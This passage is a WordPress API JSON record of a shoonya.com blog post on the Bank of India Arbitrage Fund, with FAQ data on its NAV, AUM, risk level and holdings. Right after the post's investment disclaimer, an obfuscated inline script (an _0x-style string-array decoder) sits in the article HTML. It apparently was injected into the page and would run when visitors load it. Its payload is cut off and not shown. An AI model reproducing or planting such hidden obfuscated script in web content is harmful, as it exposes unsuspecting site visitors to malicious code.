class=\"has-inline-color\">MoneyControl<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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While debt funds offer great security that comes at the cost of lower returns. This is where hybrid funds came in to bridge the gap. This Bank of India Arbitrage Fund Direct-Growth is a hybrid fund that offers a balance in &hellip; <a href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Bank of India Arbitrage Fund Direct-Growth: Key Insights, Returns, Risks, and More&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":10085,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[12],"tags":[5955,5954,5956,5957],"class_list":["post-10084","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mutual-funds","tag-bank-of-india-arbitrage-fund","tag-bank-of-india-arbitrage-fund-direct-growth","tag-bank-of-india-arbitrage-fund-nav-history","tag-bank-of-india-arbitrage-fund-portfolio"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - 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Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The current NAV (Net Asset Value) of the Bank of India Arbitrage Fund - Direct Plan as of<strong> <\/strong>2 December<strong> <\/strong>2024 stood at \u20b9 13.8466.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#faq-question-1733230052784","position":4,"url":"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#faq-question-1733230052784","name":"What is the AUM of the Bank of India Arbitrage Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The total assets under management (AUM) of Bank of India Arbitrage Fund - Direct Plan is \u20b941 crore as of 31 October 2024.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#faq-question-1733230087121","position":5,"url":"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#faq-question-1733230087121","name":"What is the Riskometer level of the Bank of India Arbitrage Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The Riskometer level of the Bank of India Arbitrage Fund - Direct Plan is marked as \"Low Risk\".\u00a0 This means the fund has lower risk and won\u2019t be very volatile.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#faq-question-1733230105938","position":6,"url":"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#faq-question-1733230105938","name":"What are the top holdings of the Bank of India Arbitrage Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Some of the top stocks and debt instruments held by Bank of India Arbitrage Fund are \u2013\u00a0<br\/><strong>Stocks\u00a0<\/strong><br\/>HDFC Bank, Bank Of Baroda, Ambuja Cements, Canara Bank, Hindustan aero<br\/><strong>Debt Instruments<\/strong><br\/>Bank of India Liquid Direct - Growth<br\/>Reserve Bank of India T-Bills 364-D 24\/04\/2025<br\/>Reserve Bank of India T-Bills 182-D 17\/01\/2025<br\/>Reserve Bank of India T-Bills 364-D 10\/07\/2025<br\/>Reserve Bank of India T-Bills 364-D 27\/03\/2025<br\/>","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/10084","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=10084"}],"version-history":[{"count":5,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/10084\/revisions"}],"predecessor-version":[{"id":12607,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/10084\/revisions\/12607"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/10085"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=10084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=10084"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=10084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}